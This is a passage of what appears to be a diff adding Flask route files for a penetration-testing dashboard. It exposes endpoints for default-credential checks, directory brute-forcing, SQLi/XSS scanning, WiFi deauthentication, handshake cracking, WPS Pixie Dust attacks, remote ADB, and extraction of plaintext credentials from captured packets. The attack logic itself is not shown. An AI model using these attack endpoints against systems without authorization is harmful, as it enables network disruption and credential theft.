return jsonify({'ok': True, **result})
@vuln_scanner_bp.route('/creds', methods=['POST'])
@login_required
def check_creds():
"""Check default credentials for a target."""
data = request.get_json(silent=True) or {}
target = data.get('target', '').strip()
if not target:
return jsonify({'ok': False, 'error': 'Target required'}), 400
services = data.get('services', [])
if not services:
# Auto-detect services with a quick port scan
scanner = _get_scanner()
ports = data.get('ports', '21,22,23,80,443,1433,3306,5432,6379,8080,27017')
services = scanner._socket_scan(target, ports)
found = _get_scanner().check_default_creds(target, services)
return jsonify({'ok': True, 'found': found, 'services_checked': len(services)})
@vuln_scanner_bp.route('/templates')
@login_required
def get_templates():
"""List available Nuclei templates."""
result = _get_scanner().get_templates()
return jsonify({'ok': True, **result})

View File

@@ -0,0 +1,79 @@
"""Web Application Scanner — web routes."""
from flask import Blueprint, render_template, request, jsonify
from web.auth import login_required
webapp_scanner_bp = Blueprint('webapp_scanner', __name__)
def _svc():
from modules.webapp_scanner import get_webapp_scanner
return get_webapp_scanner()
@webapp_scanner_bp.route('/web-scanner/')
@login_required
def index():
return render_template('webapp_scanner.html')
@webapp_scanner_bp.route('/web-scanner/quick', methods=['POST'])
@login_required
def quick_scan():
data = request.get_json(silent=True) or {}
url = data.get('url', '').strip()
if not url:
return jsonify({'ok': False, 'error': 'URL required'})
return jsonify({'ok': True, **_svc().quick_scan(url)})
@webapp_scanner_bp.route('/web-scanner/dirbust', methods=['POST'])
@login_required
def dir_bruteforce():
data = request.get_json(silent=True) or {}
url = data.get('url', '').strip()
if not url:
return jsonify({'ok': False, 'error': 'URL required'})
extensions = data.get('extensions', [])
return jsonify(_svc().dir_bruteforce(url, extensions=extensions or None,
threads=data.get('threads', 10)))
@webapp_scanner_bp.route('/web-scanner/dirbust/<job_id>', methods=['GET'])
@login_required
def dirbust_status(job_id):
return jsonify(_svc().get_job_status(job_id))
@webapp_scanner_bp.route('/web-scanner/subdomain', methods=['POST'])
@login_required
def subdomain_enum():
data = request.get_json(silent=True) or {}
domain = data.get('domain', '').strip()
if not domain:
return jsonify({'ok': False, 'error': 'Domain required'})
return jsonify(_svc().subdomain_enum(domain, use_ct=data.get('use_ct', True)))
@webapp_scanner_bp.route('/web-scanner/vuln', methods=['POST'])
@login_required
def vuln_scan():
data = request.get_json(silent=True) or {}
url = data.get('url', '').strip()
if not url:
return jsonify({'ok': False, 'error': 'URL required'})
return jsonify(_svc().vuln_scan(url,
scan_sqli=data.get('sqli', True),
scan_xss=data.get('xss', True)))
@webapp_scanner_bp.route('/web-scanner/crawl', methods=['POST'])
@login_required
def crawl():
data = request.get_json(silent=True) or {}
url = data.get('url', '').strip()
if not url:
return jsonify({'ok': False, 'error': 'URL required'})
return jsonify(_svc().crawl(url,
max_pages=data.get('max_pages', 50),
depth=data.get('depth', 3)))

137
web/routes/wifi_audit.py Normal file
View File

@@ -0,0 +1,137 @@
"""WiFi Auditing routes."""
from flask import Blueprint, request, jsonify, render_template
from web.auth import login_required
wifi_audit_bp = Blueprint('wifi_audit', __name__, url_prefix='/wifi')
def _get_auditor():
from modules.wifi_audit import get_wifi_auditor
return get_wifi_auditor()
@wifi_audit_bp.route('/')
@login_required
def index():
return render_template('wifi_audit.html')
@wifi_audit_bp.route('/tools')
@login_required
def tools_status():
return jsonify(_get_auditor().get_tools_status())
@wifi_audit_bp.route('/interfaces')
@login_required
def interfaces():
return jsonify(_get_auditor().get_interfaces())
@wifi_audit_bp.route('/monitor/enable', methods=['POST'])
@login_required
def monitor_enable():
data = request.get_json(silent=True) or {}
return jsonify(_get_auditor().enable_monitor(data.get('interface', '')))
@wifi_audit_bp.route('/monitor/disable', methods=['POST'])
@login_required
def monitor_disable():
data = request.get_json(silent=True) or {}
return jsonify(_get_auditor().disable_monitor(data.get('interface')))
@wifi_audit_bp.route('/scan', methods=['POST'])
@login_required
def scan():
data = request.get_json(silent=True) or {}
return jsonify(_get_auditor().scan_networks(
interface=data.get('interface'),
duration=data.get('duration', 15)
))
@wifi_audit_bp.route('/scan/results')
@login_required
def scan_results():
return jsonify(_get_auditor().get_scan_results())
@wifi_audit_bp.route('/deauth', methods=['POST'])
@login_required
def deauth():
data = request.get_json(silent=True) or {}
return jsonify(_get_auditor().deauth(
interface=data.get('interface'),
bssid=data.get('bssid', ''),
client=data.get('client'),
count=data.get('count', 10)
))
@wifi_audit_bp.route('/handshake', methods=['POST'])
@login_required
def capture_handshake():
data = request.get_json(silent=True) or {}
a = _get_auditor()
job_id = a.capture_handshake(
interface=data.get('interface', a.monitor_interface or ''),
bssid=data.get('bssid', ''),
channel=data.get('channel', 1),
deauth_count=data.get('deauth_count', 5),
timeout=data.get('timeout', 60)
)
return jsonify({'ok': True, 'job_id': job_id})
@wifi_audit_bp.route('/crack', methods=['POST'])
@login_required
def crack():
data = request.get_json(silent=True) or {}
job_id = _get_auditor().crack_handshake(
data.get('capture_file', ''), data.get('wordlist', ''), data.get('bssid')
)
return jsonify({'ok': bool(job_id), 'job_id': job_id})
@wifi_audit_bp.route('/wps/scan', methods=['POST'])
@login_required
def wps_scan():
data = request.get_json(silent=True) or {}
return jsonify(_get_auditor().wps_scan(data.get('interface')))
@wifi_audit_bp.route('/wps/attack', methods=['POST'])
@login_required
def wps_attack():
data = request.get_json(silent=True) or {}
a = _get_auditor()
job_id = a.wps_attack(
interface=data.get('interface', a.monitor_interface or ''),
bssid=data.get('bssid', ''),
channel=data.get('channel', 1),
pixie_dust=data.get('pixie_dust', True)
)
return jsonify({'ok': bool(job_id), 'job_id': job_id})
@wifi_audit_bp.route('/rogue/save', methods=['POST'])
@login_required
def rogue_save():
return jsonify(_get_auditor().save_known_aps())
@wifi_audit_bp.route('/rogue/detect')
@login_required
def rogue_detect():
return jsonify(_get_auditor().detect_rogue_aps())
@wifi_audit_bp.route('/capture/start', methods=['POST'])
@login_required
def capture_start():
data = request.get_json(silent=True) or {}
return jsonify(_get_auditor().start_capture(
data.get('interface'), data.get('channel'), data.get('bssid'), data.get('name')
))
@wifi_audit_bp.route('/capture/stop', methods=['POST'])
@login_required
def capture_stop():
return jsonify(_get_auditor().stop_capture())
@wifi_audit_bp.route('/captures')
@login_required
def captures_list():
return jsonify(_get_auditor().list_captures())
@wifi_audit_bp.route('/job/<job_id>')
@login_required
def job_status(job_id):
job = _get_auditor().get_job(job_id)
return jsonify(job or {'error': 'Job not found'})

256
web/routes/wireguard.py Normal file
View File

@@ -0,0 +1,256 @@
"""WireGuard VPN Manager routes — server, clients, remote ADB, USB/IP."""
from flask import Blueprint, render_template, request, jsonify, Response
from web.auth import login_required
wireguard_bp = Blueprint('wireguard', __name__, url_prefix='/wireguard')
def _mgr():
from core.wireguard import get_wireguard_manager
return get_wireguard_manager()
def _json():
"""Get JSON body or empty dict."""
return request.get_json(silent=True) or {}
# ── Main Page ────────────────────────────────────────────────────────
@wireguard_bp.route('/')
@login_required
def index():
mgr = _mgr()
available = mgr.is_available()
usbip = mgr.get_usbip_status()
return render_template('wireguard.html',
wg_available=available,
usbip_status=usbip)
# ── Server ───────────────────────────────────────────────────────────
@wireguard_bp.route('/server/status', methods=['POST'])
@login_required
def server_status():
return jsonify(_mgr().get_server_status())
@wireguard_bp.route('/server/start', methods=['POST'])
@login_required
def server_start():
return jsonify(_mgr().start_interface())
@wireguard_bp.route('/server/stop', methods=['POST'])
@login_required
def server_stop():
return jsonify(_mgr().stop_interface())
@wireguard_bp.route('/server/restart', methods=['POST'])
@login_required
def server_restart():
return jsonify(_mgr().restart_interface())
# ── Clients ──────────────────────────────────────────────────────────
@wireguard_bp.route('/clients/list', methods=['POST'])
@login_required
def clients_list():
mgr = _mgr()
clients = mgr.get_all_clients()
peer_status = mgr.get_peer_status()
# Merge peer status into client data
for c in clients:
ps = peer_status.get(c.get('public_key', ''), {})
c['peer_status'] = ps
hs = ps.get('latest_handshake')
if hs is not None and hs < 180:
c['online'] = True
else:
c['online'] = False
return jsonify({'clients': clients, 'count': len(clients)})
@wireguard_bp.route('/clients/create', methods=['POST'])
@login_required
def clients_create():
data = _json()
name = data.get('name', '').strip()
if not name:
return jsonify({'ok': False, 'error': 'Name required'})
dns = data.get('dns', '').strip() or None
allowed_ips = data.get('allowed_ips', '').strip() or None
return jsonify(_mgr().create_client(name, dns=dns, allowed_ips=allowed_ips))
@wireguard_bp.route('/clients/<client_id>', methods=['POST'])
@login_required
def clients_detail(client_id):
mgr = _mgr()
client = mgr.get_client(client_id)
if not client:
return jsonify({'error': 'Client not found'})
peer_status = mgr.get_peer_status()
ps = peer_status.get(client.get('public_key', ''), {})
client['peer_status'] = ps
hs = ps.get('latest_handshake')
client['online'] = hs is not None and hs < 180
return jsonify(client)
@wireguard_bp.route('/clients/<client_id>/toggle', methods=['POST'])
@login_required
def clients_toggle(client_id):
data = _json()
enabled = data.get('enabled', True)
return jsonify(_mgr().toggle_client(client_id, enabled))
@wireguard_bp.route('/clients/<client_id>/delete', methods=['POST'])
@login_required
def clients_delete(client_id):
return jsonify(_mgr().delete_client(client_id))
@wireguard_bp.route('/clients/<client_id>/config', methods=['POST'])
@login_required
def clients_config(client_id):
mgr = _mgr()
client = mgr.get_client(client_id)
if not client:
return jsonify({'error': 'Client not found'})
config_text = mgr.generate_client_config(client)
return jsonify({'ok': True, 'config': config_text, 'name': client['name']})
@wireguard_bp.route('/clients/<client_id>/download')
@login_required
def clients_download(client_id):
mgr = _mgr()
client = mgr.get_client(client_id)
if not client:
return 'Not found', 404
config_text = mgr.generate_client_config(client)
filename = f"{client['name']}.conf"
return Response(
config_text,
mimetype='text/plain',
headers={'Content-Disposition': f'attachment; filename="{filename}"'})
@wireguard_bp.route('/clients/<client_id>/qr')
@login_required
def clients_qr(client_id):
mgr = _mgr()
client = mgr.get_client(client_id)
if not client:
return 'Not found', 404
config_text = mgr.generate_client_config(client)
png_bytes = mgr.generate_qr_code(config_text)
if not png_bytes:
return 'QR code generation failed (qrcode module missing?)', 500
return Response(png_bytes, mimetype='image/png')
@wireguard_bp.route('/clients/import', methods=['POST'])
@login_required
def clients_import():
return jsonify(_mgr().import_existing_peers())
# ── Remote ADB ───────────────────────────────────────────────────────
@wireguard_bp.route('/adb/connect', methods=['POST'])
@login_required
def adb_connect():
data = _json()
ip = data.get('ip', '').strip()
if not ip:
return jsonify({'ok': False, 'error': 'IP required'})
return jsonify(_mgr().adb_connect(ip))
@wireguard_bp.route('/adb/disconnect', methods=['POST'])
@login_required
def adb_disconnect():
data = _json()
ip = data.get('ip', '').strip()
if not ip:
return jsonify({'ok': False, 'error': 'IP required'})
return jsonify(_mgr().adb_disconnect(ip))
@wireguard_bp.route('/adb/auto-connect', methods=['POST'])
@login_required
def adb_auto_connect():
return jsonify(_mgr().auto_connect_peers())
@wireguard_bp.route('/adb/devices', methods=['POST'])
@login_required
def adb_devices():
devices = _mgr().get_adb_remote_devices()
return jsonify({'devices': devices, 'count': len(devices)})
# ── USB/IP ───────────────────────────────────────────────────────────
@wireguard_bp.route('/usbip/status', methods=['POST'])
@login_required
def usbip_status():
return jsonify(_mgr().get_usbip_status())
@wireguard_bp.route('/usbip/load-modules', methods=['POST'])
@login_required
def usbip_load_modules():
return jsonify(_mgr().load_usbip_modules())
@wireguard_bp.route('/usbip/list-remote', methods=['POST'])
@login_required
def usbip_list_remote():
data = _json()
ip = data.get('ip', '').strip()
if not ip:
return jsonify({'ok': False, 'error': 'IP required'})
return jsonify(_mgr().usbip_list_remote(ip))
@wireguard_bp.route('/usbip/attach', methods=['POST'])
@login_required
def usbip_attach():
data = _json()
ip = data.get('ip', '').strip()
busid = data.get('busid', '').strip()
if not ip or not busid:
return jsonify({'ok': False, 'error': 'IP and busid required'})
return jsonify(_mgr().usbip_attach(ip, busid))
@wireguard_bp.route('/usbip/detach', methods=['POST'])
@login_required
def usbip_detach():
data = _json()
port = data.get('port', '').strip() if isinstance(data.get('port'), str) else str(data.get('port', ''))
if not port:
return jsonify({'ok': False, 'error': 'Port required'})
return jsonify(_mgr().usbip_detach(port))
@wireguard_bp.route('/usbip/ports', methods=['POST'])
@login_required
def usbip_ports():
return jsonify(_mgr().usbip_port_status())
# ── UPnP ─────────────────────────────────────────────────────────────
@wireguard_bp.route('/upnp/refresh', methods=['POST'])
@login_required
def upnp_refresh():
return jsonify(_mgr().refresh_upnp_mapping())

193
web/routes/wireshark.py Normal file
View File

@@ -0,0 +1,193 @@
"""Wireshark/Packet Analysis route - capture, PCAP analysis, protocol/DNS/HTTP/credential analysis."""
import json
from pathlib import Path
from flask import Blueprint, render_template, request, jsonify, Response, stream_with_context
from web.auth import login_required
wireshark_bp = Blueprint('wireshark', __name__, url_prefix='/wireshark')
@wireshark_bp.route('/')
@login_required
def index():
from core.wireshark import get_wireshark_manager
mgr = get_wireshark_manager()
status = mgr.get_status()
return render_template('wireshark.html', status=status)
@wireshark_bp.route('/status')
@login_required
def status():
"""Get engine status."""
from core.wireshark import get_wireshark_manager
mgr = get_wireshark_manager()
return jsonify(mgr.get_status())
@wireshark_bp.route('/interfaces')
@login_required
def interfaces():
"""List network interfaces."""
from core.wireshark import get_wireshark_manager
mgr = get_wireshark_manager()
return jsonify({'interfaces': mgr.list_interfaces()})
@wireshark_bp.route('/capture/start', methods=['POST'])
@login_required
def capture_start():
"""Start packet capture."""
from core.wireshark import get_wireshark_manager
mgr = get_wireshark_manager()
data = request.get_json(silent=True) or {}
interface = data.get('interface', '').strip() or None
bpf_filter = data.get('filter', '').strip() or None
duration = int(data.get('duration', 30))
result = mgr.start_capture(
interface=interface,
bpf_filter=bpf_filter,
duration=duration,
)
return jsonify(result)
@wireshark_bp.route('/capture/stop', methods=['POST'])
@login_required
def capture_stop():
"""Stop running capture."""
from core.wireshark import get_wireshark_manager
mgr = get_wireshark_manager()
return jsonify(mgr.stop_capture())
@wireshark_bp.route('/capture/stats')
@login_required
def capture_stats():
"""Get capture statistics."""
from core.wireshark import get_wireshark_manager
mgr = get_wireshark_manager()
return jsonify(mgr.get_capture_stats())
@wireshark_bp.route('/capture/stream')
@login_required
def capture_stream():
"""SSE stream of live capture packets."""
from core.wireshark import get_wireshark_manager
mgr = get_wireshark_manager()
def generate():
import time
last_count = 0
while mgr._capture_running:
stats = mgr.get_capture_stats()
count = stats.get('packet_count', 0)
if count > last_count:
# Send new packets
new_packets = mgr._capture_packets[last_count:count]
for pkt in new_packets:
yield f'data: {json.dumps({"type": "packet", **pkt})}\n\n'
last_count = count
yield f'data: {json.dumps({"type": "stats", "packet_count": count, "running": True})}\n\n'
time.sleep(0.5)
# Final stats
stats = mgr.get_capture_stats()
yield f'data: {json.dumps({"type": "done", **stats})}\n\n'
return Response(stream_with_context(generate()), content_type='text/event-stream')
@wireshark_bp.route('/pcap/analyze', methods=['POST'])
@login_required
def analyze_pcap():
"""Analyze a PCAP file (by filepath)."""
from core.wireshark import get_wireshark_manager
mgr = get_wireshark_manager()
data = request.get_json(silent=True) or {}
filepath = data.get('filepath', '').strip()
max_packets = int(data.get('max_packets', 5000))
if not filepath:
return jsonify({'error': 'No filepath provided'})
p = Path(filepath)
if not p.exists():
return jsonify({'error': f'File not found: {filepath}'})
if not p.suffix.lower() in ('.pcap', '.pcapng', '.cap'):
return jsonify({'error': 'File must be .pcap, .pcapng, or .cap'})
result = mgr.read_pcap(filepath, max_packets=max_packets)
# Limit packet list sent to browser
if 'packets' in result and len(result['packets']) > 500:
result['packets'] = result['packets'][:500]
result['truncated'] = True
return jsonify(result)
@wireshark_bp.route('/analyze/protocols', methods=['POST'])
@login_required
def analyze_protocols():
"""Get protocol hierarchy from loaded packets."""
from core.wireshark import get_wireshark_manager
mgr = get_wireshark_manager()
return jsonify(mgr.get_protocol_hierarchy())
@wireshark_bp.route('/analyze/conversations', methods=['POST'])
@login_required
def analyze_conversations():
"""Get IP conversations."""
from core.wireshark import get_wireshark_manager
mgr = get_wireshark_manager()
return jsonify({'conversations': mgr.extract_conversations()})
@wireshark_bp.route('/analyze/dns', methods=['POST'])
@login_required
def analyze_dns():
"""Get DNS queries."""
from core.wireshark import get_wireshark_manager
mgr = get_wireshark_manager()
return jsonify({'queries': mgr.extract_dns_queries()})
@wireshark_bp.route('/analyze/http', methods=['POST'])
@login_required
def analyze_http():
"""Get HTTP requests."""
from core.wireshark import get_wireshark_manager
mgr = get_wireshark_manager()
return jsonify({'requests': mgr.extract_http_requests()})
@wireshark_bp.route('/analyze/credentials', methods=['POST'])
@login_required
def analyze_credentials():
"""Detect plaintext credentials."""
from core.wireshark import get_wireshark_manager
mgr = get_wireshark_manager()
return jsonify({'credentials': mgr.extract_credentials()})
@wireshark_bp.route('/export', methods=['POST'])
@login_required
def export():
"""Export packets."""
from core.wireshark import get_wireshark_manager
mgr = get_wireshark_manager()
data = request.get_json(silent=True) or {}
fmt = data.get('format', 'json')
result = mgr.export_packets(fmt=fmt)
return jsonify(result)